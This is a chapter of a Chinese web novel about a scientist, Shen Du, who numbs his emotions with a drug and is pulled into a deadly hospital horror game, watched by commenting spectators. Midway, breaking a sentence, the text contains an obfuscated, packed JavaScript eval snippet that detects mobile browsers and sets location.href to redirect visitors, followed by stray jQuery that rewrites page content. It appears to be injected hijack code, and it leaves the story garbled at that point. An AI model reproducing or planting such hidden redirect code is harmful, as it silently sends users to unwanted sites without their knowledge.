2147年，3月15日，上午9:47。
沈渡正在用镊子夹着一小块灰白色的组织样本，缓缓放进培养皿。
实验室的灯光白得发冷，空气里弥漫着酒精和福尔马林混合的味道。他对面的大屏幕上跳动着一组数据——脑区活跃度、激素水平、神经递质浓度、以及一个他自己命名的指标：情绪物质化指数，简称EMI。
“第47次实验。”沈渡对着录音笔说，语速极快，像在赛跑，“受试者：我自己。注射剂量：0.3ml。预期效果：阻断杏仁核与前额叶的情绪信号传递，持续时间约六小时。副作用预测：轻度头晕、味觉迟钝、以及——”
他停顿了一下，看了一眼旁边的心电监护仪。
“可能会死。概率3.7%。”
他说这话的语气，就像在说“今天可能会下雨，概率3.7%”——完全不需要带伞的那种。
“开始注射。”
针头扎进左臂静脉的时候，沈渡甚至没有皱眉。他盯着屏幕上跳动的数字，瞳孔里映出那些曲线的起伏。第一秒，EMI从正常的58骤降到12。第二秒，降到3。第三秒——
实验室的灯灭了。
不是普通的断电。沈渡在失去意识前的最后0.5秒里，看见了某种不属于物理世界的光——那是一种没有波长的颜色，一种不应该存在于人类视觉光谱中的存在感。
他听见了一个声音。
不是从耳朵里传来的，是从脑子里直接炸开的。
【欢迎来到游乐场。】
【您已被选为玩家编号472138。】
【初始副本载入中……】
【祝您玩得开心。】
沈渡的意识在黑暗中漂浮。他的第一反应不是恐惧，不是困惑，而是——
“我的实验数据还没保存。”
---
观测大厅，同一时刻。
这是一个悬浮在虚空中的巨大空间，没有天花板，没有墙壁，只有无数块半透明的屏幕像蒲公英的种子一样飘浮着。每块屏幕上都在播放不同玩家的实时画面。
大厅里站满了人——确切地说，是意识体。他们穿着现实世界的衣服，身体半透明，脚下踩着一块发光的平台。这里的人数是不断变化的，此刻大约有十五亿人。
不，不是“人”。是被留在现实世界、没有被拉入游乐场的“观众”。
一个扎着双马尾的少女瞪大了眼睛，看着自己面前最大的一块屏幕。屏幕上显示着一个编号：472138。
“等等，”她拽了拽旁边一个西装革履的中年男人的袖子，“你听到了吗？刚才那个人说‘实验数据没保存’？”
中年男人面无表情：“听到了。”
“他都要死了还惦记实验数据？”
“可能是科学家吧。”中年男人推了推眼镜，“脑子不太正常的那种。”
少女——她的观众ID叫“嗑学家·小甜甜”，虽然此刻还没有任何人知道这个ID——突然兴奋地拍手：“我喜欢不正常的！追了追了！”
在她旁边，一个穿着格子衬衫、头发乱得像鸟窝的年轻人正在飞快地敲击面前凭空出现的虚拟键盘。他的ID叫“数据分析师·老K”，虽然此刻这个名字也还没有诞生。
“初始数据很有意思，”他自言自语，“472138号玩家的心率在进入瞬间从72降到了54，比平均水平低了23%——这不正常。大多数人的心率会飙升到120以上。”
“所以？”一个温和的男声从旁边传来。
老K转头，看见一个四十岁左右、戴着黑框眼镜的男人。他的ID还没想好，但后来他会被称为“理智粉·大刘”。
“所以要么他是个疯子，”老K说，“要么他早就准备好了。”
大刘看着屏幕上那个正在从白光中浮现的年轻男人——黑发有点长，搭在额前，五官清秀但不柔弱，眼睛很亮，亮得不像一个即将面对死亡的人。
“或者两者都是。”大刘说。
---
沈渡睁开眼。
他躺在一张病床上。天花板上有水渍，形状像一只扭曲的蝴蝶。空气里有消毒水的味道，还有另一种气味——甜的，腐烂的甜，像水果放得太久了。
他坐起来，打量四周。
这是一间病房。六人间，铁架床，白色的床单上有暗黄色的污渍。窗户被铁条封死，门外传来某种有规律的敲击声——咚、咚、咚、咚咚——像摩斯密码，但又不是任何一种已知的编码。
房间里还有其他人。五个，加上他一共六个。
一个光头壮汉正在用力推门，门纹丝不动。一个穿着高中校服的女生蹲在墙角发抖。一个四十多岁的阿姨在哭。一个穿着白大褂的男医生——不，他胸口的工牌显示他是“患者”——在对着镜子梳头。还有一个穿着一身黑、靠在窗边的年轻男人。
沈渡的目光在所有人身上扫了一圈，最后停在那个黑衣男人身上。
不是因为他长得好看——虽然他确实长得很好看，五官像是用刀削出来的，棱角分明，眉骨的弧度、鼻梁的高度、下颌线的角度，都精准得不像天生的，更像是一个完美主义者用尺子量出来的。
沈渡注意到他，是因为这个人太安静了。
不发抖，不哭，不试图逃跑，不梳头，不说话。他就那么靠在窗边，眼睛半阖着，像是睡着了，又像是在等什么。
“有意思。”沈渡轻声说。
他摸了一下自己的口袋——没有手机，没有笔记本，只有一个巴掌大的、半透明的悬浮屏幕，上面显示着他的个人信息。
【玩家编号：472138】
【姓名：沈渡】
【等级：F（新兵）】
【能力：无】
【情绪结晶：0】
【当前副本：寂静岭医院（F级）】
【副本目标：存活24小时，或找到出口】
【当前存活人数：6/20】
沈渡盯着“6/20”看了两秒。
“十四个人已经死了？”他问，声音不大，但在安静的病房里格外清晰。
那个发抖的女生抬起头，眼泪汪汪地看着他：“你、你不知道？我们已经在这里待了三个小时了！外面有怪物！护士，穿着护士服的怪物，她们会把人带走，然后——”
“然后呢？”沈渡问，眼睛发亮。
“然后就没有然后了！”女生崩溃地喊，“被带走的人再也没有回来！”
“所以你不知道她们把人带去哪儿了？”沈渡的语气里带着一丝失望，“没跟上去看看？”
所有人同时看向他，表情统一得像排练过——你在说什么鬼话？
光头壮汉停下了推门的动作，转头瞪着沈渡：“小子，你脑子有病？”
“有。”沈渡回答得理直气壮，“确切地说，我的杏仁核和前额叶之间的信号传递被药物阻断了一部分，导致我对恐惧、焦虑等情绪的感知能力大幅下降。所以理论上，我确实脑子有病。”
沉默。
那个梳头的“患者”停下了梳子，咧嘴笑了：“我喜欢这个新来的。他比我疯。”
沈渡礼貌地点点头：“谢谢。你看起来也很疯，你的白大褂是偷的吧？标签上写着‘王建国’，那是精神科主任的名字。”
“患者”的笑容僵住了。
观测大厅。
“嗑学家·小甜甜”笑得前仰后合：“完了完了完了，这个人不是疯子，他是神经病里的战斗机！”
老K已经开始做数据分析了：“根据弹幕热度预测，472138号玩家的关注度将在15分钟内上升至前10%。”
大刘推了推眼镜：“他那个状态不正常。情绪阻断剂？他对自己注射了什么？”
“不重要，”小甜甜拍板，“重要的是他太好玩了！姐妹们，有没有人跟我一起追这个号？”
没有人回答她，因为“姐妹们”这个群体还没有形成。但会有的。
很快。
---
沈渡从床上下来，赤着脚走到窗边——他的鞋不见了，大概是传送的时候弄丢的。地板很凉，瓷砖上有一层薄薄的灰，踩上去有种微妙的滑腻感。
他经过黑衣男人身边的时候，停顿了一下。
“你叫什么名字？”他问。
黑衣男人没有睁眼。
“不说也没关系。”沈渡从口袋里掏出那个半透明屏幕，快速在上面写着什么，“我把你标记为‘未知变量X’好了。你的心率大概在48左右，比正常值低很多。要么你是专业运动员，要么你也很不正常。希望是不正常，这样我的对照组就更丰富了。”
黑衣男人终于睁开了眼。
那是一双极冷的眼睛，不是冰，冰至少是透明的；更像是一面镜子，你能在里面看见自己的倒影，但看不见任何属于镜子的东西。
他看着沈渡。
沈渡看着他。
“苏黎。”黑衣男人说。
声音很低，像大提琴的低音弦被轻轻拨了一下，然后立刻用手按住了——干净利落，没有余音。
“苏黎。”沈渡重复了一遍，在屏幕上打上这两个字，然后在后面加了一行注释：“说话字数极简，可能是不喜欢交流，也可能是声带受过伤。需要进一步观察。”
苏黎瞥了一眼他的屏幕，面无表情。
“你写东西的习惯，”他说，“很烦。”
“谢谢，”沈渡说，“我会把这个评价也记录进去。”
观测大厅。
小甜甜捂住了胸口：“完了，我死了。这是什么互动？这是什么神仙互动？”
老K敲出一串数据：“两人的第一次对话时长4.7秒，苏黎开口率25%，472138号开口率75%——比例悬殊，但注意苏黎是先问问题的人，虽然只问了半句。”
大刘：“你没发现吗？苏黎的编号是多少？我查不到。”
老K的手指顿了一下，飞快地检索了一阵，眉头皱起来。
“确实查不到。所有玩家都有公开的编号和基础信息，但他的……被加密了？不对，不是加密，是根本没有录入。”
“什么意思？”
“意思是，”老K慢慢地敲下每个字，“系统没有他的数据。”
小甜甜眨眨眼：“所以他可能不是人？”
三个人同时沉默了两秒。
然后小甜甜拍手：“更好了！不是人更好磕！”
---
病房的门突然开了。
不是被推开的，是自动打开的，像一只看不见的手从内侧拉了一下。门轴发出尖锐的吱呀声，像是很久没有被润滑过了。
门外是一条走廊。灯光昏暗，每隔三米有一盏日光灯，但只有一半在亮，另一半在不停地闪烁。墙壁是那种医院特有的淡绿色，墙皮剥落，露出灰色的水泥。空气中那股腐烂的甜味更浓了。
走廊尽头，有什么东西在动。
那是一个影子。但影子不应该有白色的轮廓——那是一顶护士帽的轮廓。
“护士。”光头壮汉的声音压得很低，“来了一个。”
沈渡踮起脚尖往走廊里看，眼睛亮得像看到新玩具的小孩。
“只有一个吗？”他问，“刚才说有很多个，对吧？是不是每个楼层都有？她们什么时候换班？有没有休息时间？”
所有人再次看向他。
高中生女生颤抖着说：“你、你真的不怕吗？”
“怕？”沈渡偏头想了想，“不太确定。我能分辨出‘恐惧’的生理指标——心跳加速、出汗、肌肉紧张——但我感觉不到那种叫‘害怕’的主观体验。所以严格来说，我不是不怕，我是不知道怕是什么感觉。这很奇怪，你知道吗？就像你有一本书，你看到了封面、书脊、封底，但你翻不开内页。”
他说这话的时候，语气里带着一种真诚的困扰，像一个小孩在问“为什么天空是蓝色的”。
高中女生张了张嘴，最终什么都没说出来。
走廊尽头的影子越来越近了。那个白衣的身影正在向这边走来，脚步很慢，每一步都踩在同一个节拍上——咚、咚、咚。
沈渡突然兴奋了：“你们听到了吗？脚步声的节奏！咚、咚、咚，每步间隔1.2秒，步伐长度大约60厘米，这意味着她的身高大概在165到170之间。但是——注意听——她在第三步和第四步之间有一个0.3秒的停顿，像是左腿不太利索。这说明什么？”
没有人回答。
“说明她可能受过伤，”沈渡自问自答，“或者她的身体结构不正常。要么是骨骼错位，要么是多了一条腿。我希望是多了一条腿，那太酷了。”
光头壮汉深吸一口气：“我不管了，我要冲出去，打死那个鬼东西，然后找出口。”
“不建议这样做，”沈渡说，同时从病床边抄起一根输液架，“但如果你一定要去，请让我跟在后面做记录。对了，你叫什么名字？”
“张彪。”
“张彪，好的。”沈渡在屏幕上飞快地打字，“男，约35岁，性格冲动，可以作为‘鲁莽型’玩家的样本。”
张彪看了他一眼，表情复杂，像是想骂人又觉得骂一个疯子不太礼貌。
他拉开门，冲了出去。
沈渡跟在后面，手里拿着输液架，赤着脚踩在冰冷的地板上，脸上带着一种愉快的表情。
苏黎靠在门框上，看着沈渡的背影，面无表情。
然后他也跟了上去。
观测大厅。
小甜甜快疯了：“他跟上去了！苏黎跟上去了！他不是不在乎吗？他不是高冷吗？他跟上去干嘛？！”
老K的数据弹窗：“苏黎与472138号的行动轨迹重合率：100%。注意，张彪在前面，苏黎在沈渡身后——他不是在追张彪，他是在跟沈渡。”
大刘沉默了很久，然后说了一句注定会被打脸的话：“可能是战术需要。新人不熟悉副本，需要有人保护。”
小甜甜转头看着他，露出一个意味深长的微笑：“你说是就是吧，刘老师。”
---
走廊比看起来长。
沈渡跟在张彪身后跑了大约三十米，经过了三间病房，每间的门都大敞着，里面空无一人，只有床上的白色被单鼓成一个一个人形的隆起——像有人躺在下面，但
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539401|203900||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
被单纹丝不动，没有呼吸的起伏。
张彪没有看那些房间，他盯着走廊尽头的那个白色身影。
距离拉近了。十米。八米。五米。
沈渡看清了那个“护士”的样子。
她穿着白色的护士服，裙摆上有一大块暗红色的污渍，不知道是血还是别的什么。她的脸——如果那可以叫脸的话——是一个光滑的椭圆，没有五官，没有头发，只有皮肤。白色的、光洁的、像瓷娃娃一样的皮肤。
但她确实有护士帽。白色的、叠成燕子形的护士帽，端端正正地戴在她那没有头发的、光滑的头顶上。
“没有脸。”沈渡兴奋地说，“太棒了，我一直想知道没有脸的人怎么呼吸。她的鼻子呢？没有鼻子怎么呼吸？还是说她的呼吸器官在别的地方？”
无脸护士“转”了过来——她没有眼睛，但沈渡能感觉到她在“看”他。
她抬起了手。
那只手有五根手指，但每一根都比正常人的长一倍，骨节突出，像蜘蛛的腿。指尖是黑色的，像烧焦了一样。
她指向张彪。
张彪停住了脚步，不是因为害怕，而是因为他的脚动不了了。他低头，看见自己的鞋子被一层灰白色的东西覆盖了——不是冰，不是胶水，是一种肉眼可见的、正在生长的、像霉菌一样的东西。
“这是什么东西！”张彪大喊，试图把脚拔出来，但霉菌已经蔓延到了他的脚踝。
沈渡蹲下来，凑近那层灰白色的物质，掏出口袋里一个不知道什么时候从病房顺来的棉签，戳了戳。
“有趣。”他说，“质地介于霉菌和珊瑚之间，生长速度大约每秒2厘米，对有机物的亲和力很高——它在爬你的皮肤，但你的裤子是化纤的，所以先爬的是你露在外面的皮肤。”
他站起来，看着张彪。
“你怕痒吗？”
“什么？！”
“我想测试一下这种物质对神经末梢的刺激反应——如果你觉得痒，说明它有某种生物活性；如果你觉得痛，说明它在侵蚀你的组织；如果你什么都感觉不到……”
他顿了顿，眼神认真得像在做学术报告。
“那你可能需要开始担心了。”
张彪的脸从红变白，从白变青。
走廊尽头，无脸护士又迈出了一步。
咚。
苏黎从沈渡身后走出来。
他没有看张彪，没有看霉菌，没有看无脸护士。他只是走到了沈渡面前，挡住了他的视线。
“碍事。”他说。
沈渡歪头，从苏黎的肩膀旁边探出去看：“什么碍事？她碍事？我碍事？你碍事？”
“你记录。”苏黎说。
然后他动了。
沈渡甚至没看清他是怎么动的——苏黎的身体像是被按下了加速键，从静止到全速只用了一帧的时间。他掠过张彪身边，右手随意一挥，像是赶苍蝇。
那只手切过了无脸护士的手腕。
不是砍，是切。像手术刀切开黄油，没有阻力，没有声音。
无脸护士的手掉在地上，五指还在抽搐，像一只被砍掉头的蜘蛛。
但苏黎没有停。他的身体在空中转了半个圈，左腿以一个违反人体工学的角度踢出，正中无脸护士的胸口——或者说，正中她应该在的地方。那里没有胸，只是一片光滑的皮肤，但苏黎的脚像是找到了某种着力点，把她整个身体踢飞了出去。
她撞在走廊尽头的墙上，发出骨头碎裂的声音——不对，她没有骨头，那是墙裂开的声音。
墙裂了。
无脸护士嵌在墙里，像一幅被挂歪的画。
苏黎落地，拍了拍手上并不存在的灰，转身走回来。
从出手到结束，不超过三秒。
走廊里安静极了。
张彪张着嘴，忘了脚上的霉菌。
沈渡张着嘴，但他说的话和正常人不一样：“你的出手速度大约在每秒35到40米之间，远超人类极限。你用了多少力量？40%？60%？你刚才的旋转角度是172度，不是180，是因为你在空中调整了重心吗？你——”
苏黎从他身边走过，没有回答。
沈渡追上去：“你好歹回答一个问题嘛。你踢她的时候脚感怎么样？她有没有肋骨？我觉得她没有，因为她胸口那个位置明显——”
“闭嘴。”
“最后一个问题！你刚才为什么要挡在我前面？她攻击的是张彪，不是我。”
苏黎停下了脚步。
他回头看着沈渡，那双镜面一样的眼睛里，第一次出现了一种可以被解读为“情绪”的东西——虽然沈渡不确定那是什么，但他直觉认为那不是愤怒，不是不耐烦，而是一种更复杂的、他不认识的物质。
“你碍事。”苏黎说。
“你刚才说过了，但‘碍事’的意思是我妨碍了你。我妨碍你什么了？”
苏黎没有回答，转身继续走了。
沈渡站在原地，在屏幕上飞快地打下一行字：“苏黎，变量X，第2次观测记录：他回避了我的问题。回避方式是说‘你碍事’，但第一次说‘你碍事’是陈述，第二次说‘你碍事’是借口。两者语调不同，第一次降调，第二次平调。结论：他的情绪反应比我想象的复杂，需要更多数据。”
他合上屏幕，抬头看着苏黎走远的背影。
走廊里，无脸护士嵌在墙里，还在微弱地抽搐。
张彪脚上的霉菌在苏黎踢飞护士的瞬间就停止了生长，此刻正在慢慢剥落，像干掉的泥巴。
那个高中生女生不知道什么时候跟了上来，站在病房门口，目瞪口呆。
沈渡冲她笑了笑，赤着脚踩过地上掉落的护士手指——那东西还在动，像一条白色的毛毛虫——然后蹦蹦跳跳地跟上了苏黎。
观测大厅。
小甜甜已经不会说话了。她整个人趴在屏幕前，脸贴着虚拟画面，嘴里发出一些没有意义的音节。
老K的键盘敲得飞快：“苏黎的力量和速度远超F级副本的正常水平。这不符合系统平衡机制。要么他是极高等级的玩家被降级匹配，要么他根本不在系统评估范围内。”
大刘沉默了很久，久到小甜甜以为他睡着了。
然后他说了一句让所有人都安静下来的话。
“你们注意到没有？苏黎出手的时候，那个护士在‘看’沈渡。不是攻击沈渡，是‘看’。她没有眼睛，但她的‘注意力’在沈渡身上。”
“苏黎挡在沈渡面前，不是因为他觉得沈渡会被攻击。是因为——”
他推了推眼镜。
“他不喜欢别人看他。”
小甜甜和老K同时转头看着他。
“刘老师，”小甜甜的声音有点发抖，“你是说，苏黎对沈渡有——”
“我没有说任何话。”大刘迅速打断她，“我只是陈述了一个事实。不要过度解读。”
小甜甜和老K对视一眼。
然后小甜甜打开了一个新的虚拟文档，标题写上：“渡黎CP观察日志·第1期”。
她想了想，把“第1期”删掉，改成了“第1帧”。
这才是开始呢。